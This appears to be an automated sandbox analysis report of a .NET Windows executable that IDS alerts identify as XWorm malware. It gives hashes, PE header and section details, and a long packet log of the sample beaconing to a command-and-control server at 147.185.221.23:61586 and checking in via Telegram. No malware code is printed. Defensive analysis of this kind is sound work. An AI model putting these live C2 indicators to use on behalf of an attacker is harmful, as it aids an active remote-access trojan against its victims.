SHA256:	b31d01d8e826ea4773cd7cfdbfca3712287024c03463acb374b5040af27fae71
SHA512:	7631827a014041c8066e334584116db7a3320de4fbbae285c9c87bccc53381ddc525add1f031e5920e01450155aa22b1550de2725ff213ea9fbb3e5c26118dc2
SSDEEP:	768:feMIxy4cStkT1MfdDtVISFp9ITOMhkbF:feMIxnmpM5X3Fp9ITOMiJ
TLSH:	4E035C487BD84225EDFEAFFA5AB365020631F5078A13E78D0CD5C99A2F67BC089017D6
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....9g............................^.... ........@.. ....................................@................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x40b05e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x6739F619 [Sun Nov 17 13:56:41 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xb004	0x57	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc000	0x4e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xe000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x9064	0x9200	fa55860fc7599b8f47a8ea5026414c37	False	0.4941941352739726	data	5.696419955770787	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xc000	0x4e0	0x600	3c7b6deec83918c8351b51ed3dfb02ce	False	0.3776041666666667	data	3.73454411513876	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xe000	0xc	0x200	59691adaa515e6f6430f673862d3bf7f	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xc0a0	0x24c	data			0.4744897959183674
RT_MANIFEST	0xc2f0	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5469387755102041

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-17T19:24:11.934770+0100	2853685	ETPRO MALWARE Win32/XWorm Checkin via Telegram	1	192.168.2.7	49699	149.154.167.220	443	TCP
2024-11-17T19:25:22.211608+0100	2855924	ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound	1	192.168.2.7	49978	147.185.221.23	61586	TCP
2024-11-17T19:26:29.897915+0100	2853193	ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound	1	192.168.2.7	49984	147.185.221.23	61586	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 17, 2024 19:24:10.720700979 CET	49699	443	192.168.2.7	149.154.167.220
Nov 17, 2024 19:24:10.720741034 CET	443	49699	149.154.167.220	192.168.2.7
Nov 17, 2024 19:24:10.720840931 CET	49699	443	192.168.2.7	149.154.167.220
Nov 17, 2024 19:24:10.738679886 CET	49699	443	192.168.2.7	149.154.167.220
Nov 17, 2024 19:24:10.738709927 CET	443	49699	149.154.167.220	192.168.2.7
Nov 17, 2024 19:24:11.587714911 CET	443	49699	149.154.167.220	192.168.2.7
Nov 17, 2024 19:24:11.587869883 CET	49699	443	192.168.2.7	149.154.167.220
Nov 17, 2024 19:24:11.592324972 CET	49699	443	192.168.2.7	149.154.167.220
Nov 17, 2024 19:24:11.592346907 CET	443	49699	149.154.167.220	192.168.2.7
Nov 17, 2024 19:24:11.592665911 CET	443	49699	149.154.167.220	192.168.2.7
Nov 17, 2024 19:24:11.643884897 CET	49699	443	192.168.2.7	149.154.167.220
Nov 17, 2024 19:24:11.651281118 CET	49699	443	192.168.2.7	149.154.167.220
Nov 17, 2024 19:24:11.691334963 CET	443	49699	149.154.167.220	192.168.2.7
Nov 17, 2024 19:24:11.934837103 CET	443	49699	149.154.167.220	192.168.2.7
Nov 17, 2024 19:24:11.934916019 CET	443	49699	149.154.167.220	192.168.2.7
Nov 17, 2024 19:24:11.935019970 CET	49699	443	192.168.2.7	149.154.167.220
Nov 17, 2024 19:24:11.948642969 CET	49699	443	192.168.2.7	149.154.167.220
Nov 17, 2024 19:24:12.134409904 CET	49700	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:24:12.139413118 CET	61586	49700	147.185.221.23	192.168.2.7
Nov 17, 2024 19:24:12.139498949 CET	49700	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:24:12.265532017 CET	49700	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:24:12.271155119 CET	61586	49700	147.185.221.23	192.168.2.7
Nov 17, 2024 19:24:20.615082979 CET	61586	49700	147.185.221.23	192.168.2.7
Nov 17, 2024 19:24:20.615169048 CET	49700	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:24:20.686491013 CET	49700	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:24:20.689570904 CET	49725	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:24:20.691874981 CET	61586	49700	147.185.221.23	192.168.2.7
Nov 17, 2024 19:24:20.694475889 CET	61586	49725	147.185.221.23	192.168.2.7
Nov 17, 2024 19:24:20.694576979 CET	49725	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:24:20.798803091 CET	49725	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:24:20.803695917 CET	61586	49725	147.185.221.23	192.168.2.7
Nov 17, 2024 19:24:29.177118063 CET	61586	49725	147.185.221.23	192.168.2.7
Nov 17, 2024 19:24:29.177207947 CET	49725	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:24:30.482861042 CET	49725	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:24:30.484981060 CET	49786	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:24:30.488018036 CET	61586	49725	147.185.221.23	192.168.2.7
Nov 17, 2024 19:24:30.491640091 CET	61586	49786	147.185.221.23	192.168.2.7
Nov 17, 2024 19:24:30.491729975 CET	49786	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:24:30.790599108 CET	49786	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:24:30.795581102 CET	61586	49786	147.185.221.23	192.168.2.7
Nov 17, 2024 19:24:38.964934111 CET	61586	49786	147.185.221.23	192.168.2.7
Nov 17, 2024 19:24:38.964993000 CET	49786	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:24:40.425312042 CET	49786	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:24:40.426697969 CET	49842	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:24:40.430157900 CET	61586	49786	147.185.221.23	192.168.2.7
Nov 17, 2024 19:24:40.431699038 CET	61586	49842	147.185.221.23	192.168.2.7
Nov 17, 2024 19:24:40.431794882 CET	49842	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:24:40.448079109 CET	49842	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:24:40.453284025 CET	61586	49842	147.185.221.23	192.168.2.7
Nov 17, 2024 19:24:48.913724899 CET	61586	49842	147.185.221.23	192.168.2.7
Nov 17, 2024 19:24:48.913908958 CET	49842	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:24:51.800555944 CET	49842	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:24:51.803515911 CET	49907	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:24:51.805999994 CET	61586	49842	147.185.221.23	192.168.2.7
Nov 17, 2024 19:24:51.808681011 CET	61586	49907	147.185.221.23	192.168.2.7
Nov 17, 2024 19:24:51.808762074 CET	49907	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:24:51.843795061 CET	49907	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:24:51.848776102 CET	61586	49907	147.185.221.23	192.168.2.7
Nov 17, 2024 19:25:00.290904999 CET	61586	49907	147.185.221.23	192.168.2.7
Nov 17, 2024 19:25:00.291013956 CET	49907	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:25:01.425738096 CET	49907	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:25:01.427218914 CET	49963	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:25:01.430773020 CET	61586	49907	147.185.221.23	192.168.2.7
Nov 17, 2024 19:25:01.432547092 CET	61586	49963	147.185.221.23	192.168.2.7
Nov 17, 2024 19:25:01.432611942 CET	49963	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:25:01.450416088 CET	49963	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:25:01.455367088 CET	61586	49963	147.185.221.23	192.168.2.7
Nov 17, 2024 19:25:09.916040897 CET	61586	49963	147.185.221.23	192.168.2.7
Nov 17, 2024 19:25:09.916171074 CET	49963	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:25:10.238027096 CET	49963	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:25:10.239619017 CET	49977	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:25:10.243217945 CET	61586	49963	147.185.221.23	192.168.2.7
Nov 17, 2024 19:25:10.244642019 CET	61586	49977	147.185.221.23	192.168.2.7
Nov 17, 2024 19:25:10.244743109 CET	49977	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:25:10.264853954 CET	49977	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:25:10.270292997 CET	61586	49977	147.185.221.23	192.168.2.7
Nov 17, 2024 19:25:18.734664917 CET	61586	49977	147.185.221.23	192.168.2.7
Nov 17, 2024 19:25:18.734812975 CET	49977	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:25:21.581640959 CET	49977	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:25:21.584903002 CET	49978	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:25:21.586668015 CET	61586	49977	147.185.221.23	192.168.2.7
Nov 17, 2024 19:25:21.589867115 CET	61586	49978	147.185.221.23	192.168.2.7
Nov 17, 2024 19:25:21.589946032 CET	49978	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:25:21.608792067 CET	49978	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:25:21.613821983 CET	61586	49978	147.185.221.23	192.168.2.7
Nov 17, 2024 19:25:22.211607933 CET	49978	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:25:22.216542959 CET	61586	49978	147.185.221.23	192.168.2.7
Nov 17, 2024 19:25:23.206845045 CET	49978	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:25:23.212003946 CET	61586	49978	147.185.221.23	192.168.2.7
Nov 17, 2024 19:25:24.472527027 CET	49978	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:25:24.477756023 CET	61586	49978	147.185.221.23	192.168.2.7
Nov 17, 2024 19:25:28.206935883 CET	49978	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:25:28.211770058 CET	61586	49978	147.185.221.23	192.168.2.7
Nov 17, 2024 19:25:29.913688898 CET	49978	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:25:29.920819044 CET	61586	49978	147.185.221.23	192.168.2.7
Nov 17, 2024 19:25:30.088427067 CET	61586	49978	147.185.221.23	192.168.2.7
Nov 17, 2024 19:25:30.091506958 CET	49978	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:25:31.816134930 CET	49978	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:25:31.819116116 CET	49979	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:25:31.821252108 CET	61586	49978	147.185.221.23	192.168.2.7
Nov 17, 2024 19:25:31.824223042 CET	61586	49979	147.185.221.23	192.168.2.7
Nov 17, 2024 19:25:31.824295998 CET	49979	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:25:31.849255085 CET	49979	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:25:31.854182005 CET	61586	49979	147.185.221.23	192.168.2.7
Nov 17, 2024 19:25:31.863157034 CET	49979	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:25:31.868168116 CET	61586	49979	147.185.221.23	192.168.2.7
Nov 17, 2024 19:25:33.941131115 CET	49979	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:25:33.946227074 CET	61586	49979	147.185.221.23	192.168.2.7
Nov 17, 2024 19:25:40.334148884 CET	61586	49979	147.185.221.23	192.168.2.7
Nov 17, 2024 19:25:40.334260941 CET	49979	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:25:41.925318003 CET	49979	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:25:41.928324938 CET	49980	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:25:41.930330038 CET	61586	49979	147.185.221.23	192.168.2.7
Nov 17, 2024 19:25:41.933310032 CET	61586	49980	147.185.221.23	192.168.2.7
Nov 17, 2024 19:25:41.933374882 CET	49980	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:25:41.955598116 CET	49980	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:25:41.960627079 CET	61586	49980	147.185.221.23	192.168.2.7
Nov 17, 2024 19:25:43.707263947 CET	49980	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:25:43.712275028 CET	61586	49980	147.185.221.23	192.168.2.7
Nov 17, 2024 19:25:47.644527912 CET	49980	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:25:47.649574041 CET	61586	49980	147.185.221.23	192.168.2.7
Nov 17, 2024 19:25:47.659884930 CET	49980	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:25:47.666845083 CET	61586	49980	147.185.221.23	192.168.2.7
Nov 17, 2024 19:25:50.422017097 CET	61586	49980	147.185.221.23	192.168.2.7
Nov 17, 2024 19:25:50.423572063 CET	49980	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:25:52.693392992 CET	49980	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:25:52.693979979 CET	49981	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:25:52.698498964 CET	61586	49980	147.185.221.23	192.168.2.7
Nov 17, 2024 19:25:52.698884010 CET	61586	49981	147.185.221.23	192.168.2.7
Nov 17, 2024 19:25:52.699465990 CET	49981	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:25:52.716463089 CET	49981	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:25:52.721440077 CET	61586	49981	147.185.221.23	192.168.2.7
Nov 17, 2024 19:25:52.723473072 CET	49981	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:25:52.728842020 CET	61586	49981	147.185.221.23	192.168.2.7
Nov 17, 2024 19:25:57.894483089 CET	49981	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:25:57.899842978 CET	61586	49981	147.185.221.23	192.168.2.7
Nov 17, 2024 19:25:57.925570965 CET	49981	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:25:57.930525064 CET	61586	49981	147.185.221.23	192.168.2.7
Nov 17, 2024 19:25:57.941236019 CET	49981	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:25:57.946202040 CET	61586	49981	147.185.221.23	192.168.2.7
Nov 17, 2024 19:25:57.956886053 CET	49981	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:25:57.961869001 CET	61586	49981	147.185.221.23	192.168.2.7
Nov 17, 2024 19:25:57.972579956 CET	49981	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:25:57.978137016 CET	61586	49981	147.185.221.23	192.168.2.7
Nov 17, 2024 19:26:00.863215923 CET	49981	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:26:00.869419098 CET	61586	49981	147.185.221.23	192.168.2.7
Nov 17, 2024 19:26:01.183012962 CET	61586	49981	147.185.221.23	192.168.2.7
Nov 17, 2024 19:26:01.183075905 CET	49981	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:26:03.003467083 CET	49981	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:26:03.005579948 CET	49982	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:26:03.008445024 CET	61586	49981	147.185.221.23	192.168.2.7
Nov 17, 2024 19:26:03.011014938 CET	61586	49982	147.185.221.23	192.168.2.7
Nov 17, 2024 19:26:03.011136055 CET	49982	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:26:03.028002024 CET	49982	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:26:03.032952070 CET	61586	49982	147.185.221.23	192.168.2.7
Nov 17, 2024 19:26:03.222429991 CET	49982	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:26:03.227632999 CET	61586	49982	147.185.221.23	192.168.2.7
Nov 17, 2024 19:26:09.081814051 CET	49982	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:26:09.088787079 CET	61586	49982	147.185.221.23	192.168.2.7
Nov 17, 2024 19:26:09.394423962 CET	49982	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:26:09.400077105 CET	61586	49982	147.185.221.23	192.168.2.7
Nov 17, 2024 19:26:11.501461029 CET	61586	49982	147.185.221.23	192.168.2.7
Nov 17, 2024 19:26:11.501566887 CET	49982	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:26:14.457381010 CET	49982	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:26:14.461499929 CET	49983	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:26:14.462677002 CET	61586	49982	147.185.221.23	192.168.2.7
Nov 17, 2024 19:26:14.466670990 CET	61586	49983	147.185.221.23	192.168.2.7
Nov 17, 2024 19:26:14.468439102 CET	49983	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:26:14.485507965 CET	49983	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:26:14.490541935 CET	61586	49983	147.185.221.23	192.168.2.7
Nov 17, 2024 19:26:18.675616026 CET	49983	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:26:18.682838917 CET	61586	49983	147.185.221.23	192.168.2.7
Nov 17, 2024 19:26:22.972145081 CET	61586	49983	147.185.221.23	192.168.2.7
Nov 17, 2024 19:26:22.972223043 CET	49983	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:26:25.160516024 CET	49983	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:26:25.163356066 CET	49984	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:26:25.165885925 CET	61586	49983	147.185.221.23	192.168.2.7
Nov 17, 2024 19:26:25.168365002 CET	61586	49984	147.185.221.23	192.168.2.7
Nov 17, 2024 19:26:25.171425104 CET	49984	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:26:25.221343994 CET	49984	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:26:25.226366997 CET	61586	49984	147.185.221.23	192.168.2.7
Nov 17, 2024 19:26:29.897914886 CET	49984	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:26:29.903305054 CET	61586	49984	147.185.221.23	192.168.2.7
Nov 17, 2024 19:26:33.668730974 CET	61586	49984	147.185.221.23	192.168.2.7
Nov 17, 2024 19:26:33.669528961 CET	49984	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:26:35.504498959 CET	49984	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:26:35.507498026 CET	49985	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:26:35.509926081 CET	61586	49984	147.185.221.23	192.168.2.7
Nov 17, 2024 19:26:35.512538910 CET	61586	49985	147.185.221.23	192.168.2.7
Nov 17, 2024 19:26:35.512641907 CET	49985	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:26:35.531337023 CET	49985	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:26:35.536298990 CET	61586	49985	147.185.221.23	192.168.2.7
Nov 17, 2024 19:26:43.994957924 CET	61586	49985	147.185.221.23	192.168.2.7
Nov 17, 2024 19:26:43.995146990 CET	49985	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:26:45.691327095 CET	49985	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:26:45.693893909 CET	49986	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:26:45.697367907 CET	61586	49985	147.185.221.23	192.168.2.7
Nov 17, 2024 19:26:45.699311018 CET	61586	49986	147.185.221.23	192.168.2.7
Nov 17, 2024 19:26:45.699796915 CET	49986	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:26:45.719329119 CET	49986	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:26:45.724267960 CET	61586	49986	147.185.221.23	192.168.2.7
Nov 17, 2024 19:26:49.943352938 CET	49986	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:26:49.950108051 CET	61586	49986	147.185.221.23	192.168.2.7
Nov 17, 2024 19:26:50.879209995 CET	49986	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:26:50.884409904 CET	61586	49986	147.185.221.23	192.168.2.7
Nov 17, 2024 19:26:50.925916910 CET	49986	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:26:50.930896997 CET	61586	49986	147.185.221.23	192.168.2.7
Nov 17, 2024 19:26:50.941371918 CET	49986	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:26:50.946304083 CET	61586	49986	147.185.221.23	192.168.2.7
Nov 17, 2024 19:26:50.972846985 CET	49986	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:26:50.977835894 CET	61586	49986	147.185.221.23	192.168.2.7
Nov 17, 2024 19:26:53.238382101 CET	49986	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:26:53.244322062 CET	61586	49986	147.185.221.23	192.168.2.7
Nov 17, 2024 19:26:54.184866905 CET	61586	49986	147.185.221.23	192.168.2.7
Nov 17, 2024 19:26:54.184948921 CET	49986	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:26:55.988153934 CET	49986	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:26:55.991681099 CET	49987	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:26:55.993252993 CET	61586	49986	147.185.221.23	192.168.2.7
Nov 17, 2024 19:26:55.997407913 CET	61586	49987	147.185.221.23	192.168.2.7
Nov 17, 2024 19:26:55.997637033 CET	49987	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:26:56.015316963 CET	49987	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:26:56.020203114 CET	61586	49987	147.185.221.23	192.168.2.7
Nov 17, 2024 19:27:00.081926107 CET	49987	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:27:00.087033987 CET	61586	49987	147.185.221.23	192.168.2.7
Nov 17, 2024 19:27:01.191329002 CET	49987	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:27:01.196515083 CET	61586	49987	147.185.221.23	192.168.2.7
Nov 17, 2024 19:27:04.493695021 CET	61586	49987	147.185.221.23	192.168.2.7
Nov 17, 2024 19:27:04.493792057 CET	49987	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:27:06.253679037 CET	49987	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:27:06.256052017 CET	49988	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:27:06.258737087 CET	61586	49987	147.185.221.23	192.168.2.7
Nov 17, 2024 19:27:06.261065960 CET	61586	49988	147.185.221.23	192.168.2.7
Nov 17, 2024 19:27:06.261152983 CET	49988	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:27:06.277728081 CET	49988	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:27:06.282682896 CET	61586	49988	147.185.221.23	192.168.2.7
Nov 17, 2024 19:27:06.347490072 CET	49988	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:27:06.352658987 CET	61586	49988	147.185.221.23	192.168.2.7
Nov 17, 2024 19:27:06.504199982 CET	49988	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:27:06.509242058 CET	61586	49988	147.185.221.23	192.168.2.7
Nov 17, 2024 19:27:06.535557985 CET	49988	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:27:06.540838003 CET	61586	49988	147.185.221.23	192.168.2.7
Nov 17, 2024 19:27:10.644483089 CET	49988	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:27:10.649655104 CET	61586	49988	147.185.221.23	192.168.2.7
Nov 17, 2024 19:27:11.753876925 CET	49988	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:27:11.759654045 CET	61586	49988	147.185.221.23	192.168.2.7
Nov 17, 2024 19:27:14.738635063 CET	61586	49988	147.185.221.23	192.168.2.7
Nov 17, 2024 19:27:14.738719940 CET	49988	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:27:16.850372076 CET	49988	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:27:16.854638100 CET	49989	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:27:16.855375051 CET	61586	49988	147.185.221.23	192.168.2.7
Nov 17, 2024 19:27:16.859647036 CET	61586	49989	147.185.221.23	192.168.2.7
Nov 17, 2024 19:27:16.859735966 CET	49989	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:27:16.902107000 CET	49989	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:27:16.907118082 CET	61586	49989	147.185.221.23	192.168.2.7
Nov 17, 2024 19:27:16.956916094 CET	49989	61586	192.168.2.7	147.185.221.23
Nov 17, 2024 19:27:16.961877108 CET	61586	49989	147.185.221.23	192.168.2.7
Nov 17, 2024 19:27:17.066260099 CET	49989	61586	192.168.2.7	147.185.221.23
